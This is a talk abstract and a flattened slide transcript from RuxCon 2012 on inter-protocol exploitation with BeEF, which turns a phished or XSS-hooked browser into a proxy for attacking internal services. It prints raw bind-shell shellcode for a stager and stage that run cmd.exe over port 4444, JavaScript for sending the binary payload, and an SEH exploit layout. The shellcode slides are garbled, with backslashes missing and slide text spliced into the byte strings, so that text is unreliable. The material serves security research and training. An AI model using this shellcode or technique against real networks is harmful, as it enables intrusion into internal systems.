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Rooting your internals - Exploiting Internal Network Vulns via the Browser Using BeEF Bind
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Rooting your internals - Exploiting Internal Network Vulns via the Browser Using BeEF Bind

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Browser exploits are a primary attack vector to compromise a victims internal network, but they have major restrictions including; limited current browser exploits; the huge price for 0-day browser …

Browser exploits are a primary attack vector to compromise a victims internal network, but they have major restrictions including; limited current browser exploits; the huge price for 0-day browser exploits; and exploit complexity due to sandboxing. So, instead of exploiting the victims browser, what if the victims browser exploited internal systems for you?

The new "BeEF Bind Exploit Proxy" module does this! This BeEF (Browser Exploitation Framework) module will allow penetration testers to proxy exploits through a victims web browser to compromise internal services. Not only this, but the new "BeEF Bind" shellcode also enables the communication channel to the attacker to pass back through the existing browser session.

This attack technique (Inter-protocol Exploitation) removes browser-based attacks from being dependent upon browser vulnerabilities. It increases the number of potential exploits to include many service vulnerabilities throughout the internal corporate network. This includes whatever service can be contacted via a browser request. This increases the success rate of client-side exploitation attempts by dramatically increasing the number of vulnerabilities accessible to the attacker.

So how does the new BeEF Bind Exploit Proxy work? BeEF is configured to use the BeEF Bind Exploit Proxy, and is set as the payload for XSS exploits or Phishing attacks. Once the victim visits the malicious site, their web browser becomes hooked and performs JavaScript port scanning across the internal corporate network looking for chosen open ports. Once a server has been identified, the BeEF server is notified and begins to send exploits through the hooked web browser to the service on the internal server. Each of these exploits are configured to use the new BeEF Bind shellcode.

Once an exploit has successfully triggered a vulnerability within the internal service, the BeEF Bind shellcode is executed. This shellcode is designed to setup a web-listener that proxies commands through to a shell on the compromised server. This allows the attacker to send commands through the hooked web browser to the BeEF Bind payload. The command is executed on the compromised server and returned to the web browser in HTTP responses. The hooked web browser is then able to receive the command output and proxy it back to the attacker at the BeEF server.

Penetration testers can now inject steroids into their XSS exploits by replacing simple alert boxes with demonstrations of actual compromised internal machines. They can also now increase the scope and success rate of their Phishing attacks to compromise internal servers. This new approach also minimizes the likelihood of IDS/IPS detection, and does not require an additional socket open back to the attacker via the firewall.

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  • 1. Exploiting Internal Network Vulns via the Browser Using BeEF Bind Michele Orru Ty Miller RuxCon 2012
  • 2. About UsTy Miller PureHacking •CTO •http://projectshellcode.com/ •"The Shellcode Lab" famous BlackHat training
  • 3. About UsMichele Orru Trustwave SpiderLabs •BeEF lead core developer •Application Security researcher •Ruby, Javascript and OpenBSD fan
  • 4. About The Talk • Current situation and traditional browser attack vectors • BeEF and Inter-Protocol Exploitation • The BeEF Bind shellcode • How the shellcode delivery and exploitation works • Demo fun, current limitations and...
  • 5. Current situationtraditional browser attack vectors • Aimed at compromise the browser itself, or plugins • Sandboxes and exploit mitigation techniques make our life difficult • 0-day browser exploits are extremely expensive (Grugq said :-)
  • 6. Current situationBrowser vulnerability exploitation • Is the victims web browser patched? • Do you have $100k to spend on a single 0-day browser exploit? • How many useful browser exploits are available?
  • 7. Current situationBrowser plugin exploitation • Is the plugin patched or vulnerable? • How reliable are the plugin exploits? • some dependent upon browser version and plugin version • some dependent on exact plugin build version • most latest browsers don’t leak anymore exact plugin info • Java-based exploits (also for ROP chains) require user- intervention on many current browsers (i.e. Chrome)
  • 8. Current situationCross Site Scripting • Mis-understood, not patched, found in 90% of application pentests • Full DOM manipulation • SOP restrictions, additional HTTP headers restrictions, CSP • In fact, alert(1) is the mostly used attack vector • Oh, no sorry, also stealing cookies...
  • 9. Current situationtraditional browser attack vectors Internal server vulnerabilities are sitting there bored and lonely...
  • 10. Idea flowread top to bottom Wade: My IPEC research was cool, we should research further Ty: I developed a new staging shellcode that acts like a WebServer Michele: Awesome, let me do some research and lets port it to BeEF
  • 11. The scary BeEFchanging browser attack vectors• Imagine a framework like Metasploit, but for browser-based attacks• Powerful platform for Client-side pwnage, XSS post-exploitation and generally victim browser security context abuse.• The framework allows the penetration tester to select specific modules (in real-time) to target each browser, and therefore each context.
  • 12. The scary BeEFchanging browser attack vectors• Through a simple XSS or Phishing page, with BeEF we can hook victim browsers and control them entirely with Javascript• No more alert(1) crap• Features like ManInTheBrowser, Tunneling Proxy and remote exploits are all implemented in (relatively) simple Javascript
  • 13. Revitalizing IPECInter-Protocol Exploitation• Back in 2006/2007 Wade Alcorn researched what he called Inter-Protocol exploitation• Exploit ‘tolerant’ protocol implementations, which do not drop the client connection after N errors• A properly encoded POST request can be sent to the target: • HTTP request headers are parsed as BAD COMMANDS • HTTP request body is parsed as VALID COMMANDS • HTTP request body also contains shellcode. FUN STARTS
  • 14. Revitalizing IPECInter-Protocol Exploitation: limitations• Limitations: • SOP and cross-domain restrictions • PortBanning • HTTP Headers size • HTTP Content-Type settings • After exploitation, back to normal out-of-browser shells?
  • 15. Revitalizing IPECInter-Protocol Exploitation: solution 1• Limitations: On Firefox and WebKit we can still • SOP and cross-domain restrictions ‘blindly’ send data cross-domain. • PortBanning This is (usually) enough to pwn services. •HTTP Headers size •HTTP Content-Type settings •After exploitation, back to normal out-of-browser shells?
  • 16. Revitalizing IPECInter-Protocol Exploitation: solution 2 http://a.com:143/• Limitations: FF: NS_ERROR_PORT_ACCESS_NOT_ALLOWED •SOP and cross-domain restrictions Connection to various known port (22/25/143/993/995/etc..) denied. • PortBanning On Firefox, an extension can override •HTTP Headers size config options: •HTTP Content-Type settings •After exploitation, back to normal out-of-browser shells?
  • 17. Revitalizing IPECInter-Protocol Exploitation: solution 3• Limitations: Lots of headers are automatically created by the browser (around 400 bytes). Most • SOP and cross-domain restrictions of them cannot be overridden, and cross- domain they are bigger. • PortBanning We can override some of them: • HTTP Headers size • HTTP Content-Type settings • After exploitation, back to normal out-of-browser shells?
  • 18. Revitalizing IPECInter-Protocol Exploitation: solution 4• Limitations: The original IPEC paper was using: • SOP and cross-domain restrictions Content-Type: multipart/form-data; • PortBanning Our approach uses, to save space: • HTTP Headers size Content-Type: text/plain; • HTTP Content-Type settings • After exploitation, back to normal out-of-browser shells?
  • 19. Revitalizing IPECInter-Protocol Exploitation: solution 5• Limitations: Not anymore, thanks to the BeEF Bind shellcode. • SOP and cross-domain restrictions You have a bind shellcode which can be • PortBanning totally controlled through an hooked browser sitting in the same victim • HTTP Headers size internal network. • HTTP Content-Type settings • After exploitation, back to normal out-of-browser shells?
  • 20. BeEF Bind shellcodehow it works• Ty created a new staging shellcode, which we called var stager = "xbax6ax99xf8x25xd9xccxd9x74x24xf4x5ex31xc9" + BeEF Bind "xb1x4bx83xc6x04x31x56x11x03x56x11xe2x9fx65" + "x10xacx5fx96xe1xcfxd6x73xd0xddx8cxf0x41xd2" + "xc7x55x6ax99x85x4dxf9xefx01x61x4ax45x77x4c" + "x4bx6bxb7x02x8fxedx4bx59xdcxcdx72x92x11x0f" +• He was bored of reverse shells :D "xb3xcfxdax5dx6cx9bx49x72x19xd9x51x73xcdx55" + "xe9x0bx68xa9x9exa1x73xfax0fxbdx3bxe2x24x99" + "x9bx13xe8xf9xe7x5ax85xcax9cx5cx4fx03x5dx6f" + "xafxc8x60x5fx22x10xa5x58xddx67xddx9ax60x70" + • stager -> 299 bytes (326 after bad-char encoding) "x26xe0xbexf5xbax42x34xadx1ex72x99x28xd5x78" + "x56x3exb1x9cx69x93xcax99xe2x12x1cx28xb0x30" + "xb8x70x62x58x99xdcxc5x65xf9xb9xbaxc3x72x2b" + • "xaex72xd9x24x03x49xe1xb4x0bxdax92x86x94x70" + stage -> 792 bytes "x3cxabx5dx5fxbbxccx77x27x53x33x78x58x7axf0" + "x2cx08x14xd1x4cxc3xe4xdex98x44xb4x70x73x25" + "x64x31x23xcdx6exbex1cxedx91x14x35xdfxb6xc4" +• "x52x22x48xfaxfexabxaex96xeexfdx79x0fxcdxd9" + The stager sets up a bind port on 4444/TCP to accept "xb2xa8x2ex08xefx61xb9x04xe6xb6xc6x94x2dx95" + "x6bx3cxa5x6ex60xf9xd4x70xadxa9x81xe7x3bx38" + an HTTP POST request containing the raw stage in a "xe0x96x3cx11x41x58xd3x9axb5x33x93xc9xe6xa9" + "x13x86x50x8ax47xb3x9fx07xeexfdx35xa8xa2x51" + parameter called ‘cmd’. "x9exc0x46x8bxe8x4exb8xfexbfx18x80x97xb8x8b" + "xf3x4dx47x15x6fx03x23x57x1bxd8xedx4cx16x5d" + 20 "x37x96x26x84";
  • 21. BeEF Bind shellcode var stage_allow_origin = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28"how it works "x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52" + "x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8b" + "x58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38" + "xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58" + "x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5a" + "x8bx12xebx86x5dxbbx00x10x00x00x6ax40x53x53x6ax00x68x58xa4x53xe5xffxd5" + "x89xc6x68x01x00x00x00x68x00x00x00x00x68x0cx00x00x00x68x00x00x00x00x89" +• "xe3x68x00x00x00x00x89xe1x68x00x00x00x00x8dx7cx24x0cx57x53x51x68x3excf" + The stage sets up a bind port on 4444/TCP to accept "xafx0exffxd5x68x00x00x00x00x89xe3x68x00x00x00x00x89xe1x68x00x00x00x00" + "x8dx7cx24x14x57x53x51x68x3excfxafx0exffxd5x8bx5cx24x08x68x00x00x00x00" + HTTP POST requests from the web browser. "x68x01x00x00x00x53x68xcax13xd3x1cxffxd5x8bx5cx24x04x68x00x00x00x00x68" + "x01x00x00x00x53x68xcax13xd3x1cxffxd5x89xf7x68x63x6dx64x00x89xe3xffx74" + "x24x10xffx74x24x14xffx74x24x0cx31xf6x6ax12x59x56xe2xfdx66xc7x44x24x3c" + "x01x01x8dx44x24x10xc6x00x44x54x50x56x56x56x46x56x4ex56x56x53x56x68x79" +• Set of pipes to redirect the cmd.exe input and output. "xccx3fx86xffxd5x89xfexb9xf8x0fx00x00x8dx46x08xc6x00x00x40xe2xfax56x8d" + "xbex18x04x00x00xe8x62x00x00x00x48x54x54x50x2fx31x2ex31x20x32x30x30x20" + "x4fx4bx0dx0ax43x6fx6ex74x65x6ex74x2dx54x79x70x65x3ax20x74x65x78x74x2f" + This allows to jump in the middle of the HTTP request "x68x74x6dx6cx0dx0ax41x63x63x65x73x73x2dx43x6fx6ex74x72x6fx6cx2dx41x6c" + "x6cx6fx77x2dx4fx72x69x67x69x6ex3ax20x2ax0dx0ax43x6fx6ex74x65x6ex74x2d" + and the cmd.exe process to implement the web server "x4cx65x6ex67x74x68x3ax20x33x30x31x36x0dx0ax0dx0ax5exb9x62x00x00x00xf3" + "xa4x5ex56x68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26x07xffxd5xb8x90" + style functionality. "x01x00x00x29xc4x54x50x68x29x80x6bx00xffxd5x50x50x50x50x40x50x40x50x68" + "xeax0fxdfxe0xffxd5x97x31xdbx53x68x02x00x11x5cx89xe6x6ax10x56x57x68xc2" + "xdbx37x67xffxd5x53x57x68xb7xe9x38xffxffxd5x53x53x57x68x74xecx3bxe1xff" + "xd5x57x97x68x75x6ex4dx61xffxd5x81xc4xa0x01x00x00x5ex89x3ex6ax00x68x00" +• The command result output is returned with the "x04x00x00x89xf3x81xc3x08x00x00x00x53xffx36x68x02xd9xc8x5fxffxd5x8bx54" + "x24x64xb9x00x04x00x00x81x3bx63x6dx64x3dx74x06x43x49xe3x3axebxf2x81xc3" + "x03x00x00x00x43x53x68x00x00x00x00x8dxbex10x04x00x00x57x68x01x00x00x00" + Access-Control-Allow-Origin: * header. After the stage "x53x8bx5cx24x70x53x68x2dx57xaex5bxffxd5x5bx80x3bx0ax75xdax68xe8x03x00" + "x00x68x44xf0x35xe0xffxd5x31xc0x50x8dx5ex04x53x50x50x50x8dx5cx24x74x8b" + is deployed, SOP is not a problem anymore. "x1bx53x68x18xb7x3cxb3xffxd5x85xc0x74x44x8bx46x04x85xc0x74x3dx68x00x00" + "x00x00x8dxbex14x04x00x00x57x68x86x0bx00x00x8dxbex7ax04x00x00x57x8dx5c" + "x24x70x8bx1bx53x68xadx9ex5fxbbxffxd5x6ax00x68xe8x0bx00x00x8dxbex18x04" + "x00x00x57xffx36x68xc2xebx38x5fxffxd5xffx36x68xc6x96x87x52xffxd5xe9x38" + 21 "xfexffxff";
  • 22. BeEF Bind shellcodehow it works The shellcode is also available as a Metasploit module BeEF Bind MSF Payload Module 22
  • 23. BeEF Bind shellcodehow it works Burp/OllyDbg DEMO 23
  • 24. BeEF Bind shellcode delivery and usage from within BeEF• Shellcode is binary data• Stager and Stage are delivered with XMLHttpRequest.sendAsBinary• For Webkit browsers that don’t support Stager - Stage sendAsBinary, prototype overriding on XHR object.XMLHttpRequest.prototype.sendAsBinary = function(datastr) { function byteValue(x) { return x.charCodeAt(0) & 0xff; } var ords = Array.prototype.map.call(datastr, byteValue); var ui8a = new Uint8Array(ords); this.send(ui8a.buffer);}
  • 25. BeEF Bind shellcodedelivery and usage from within BeEF• We cannot know in advance the exact size of HTTP headers.• A dummy cross-domain XHR request is sent back to BeEF, exact size of headers is calculated, and exploit junk is adjusted accordingly.• Like in all exploits, 1 byte error is enough to have a not-working exploit.• With this approach, errors are minimized.
  • 26. BeEF Bind shellcode delivery and usage from within BeEF • Typical SEH exploit with EggHunter, non-IPEC:• commands + junk + shellcode + next_seh + seh + egg_hunter • Typical SEH exploit with EggHunter, IPEC:• HTTP_headers + commands + (less)junk + shellcode + next_seh + seh + egg_hunter
  • 27. BeEF Bind shellcodedelivery and usage from within BeEF Immunity dbg view: IMAP process memory when sending the stager
  • 28. BeEF Bind shellcodedelivery and usage from within BeEF Wireshark view: stager delivery Wireshark view: command delivery and results
  • 29. BeEF Bind shellcodedelivery and usage from within BeEF set target exec commandUltimate fun.BeEF IPEC shell (JS) get results 29
  • 30. High Level Architecturefrom FF extension to command execution
  • 31. High Level Architecturefrom FF extension to command execution
  • 32. High Level Architecturefrom FF extension to command execution
  • 33. High Level Architecturefrom FF extension to command execution
  • 34. High Level Architecturefrom FF extension to command execution
  • 35. Demo funfrom phishing to internal IMAP server compromise
  • 36. Thanks• Wade and the other BeEF guys• Ty for his awesome shellcode• Michele for his awesome BeEF integration• RuxCon crew and you, attendees• Whoever will offer beers later...
  • 37. Questions?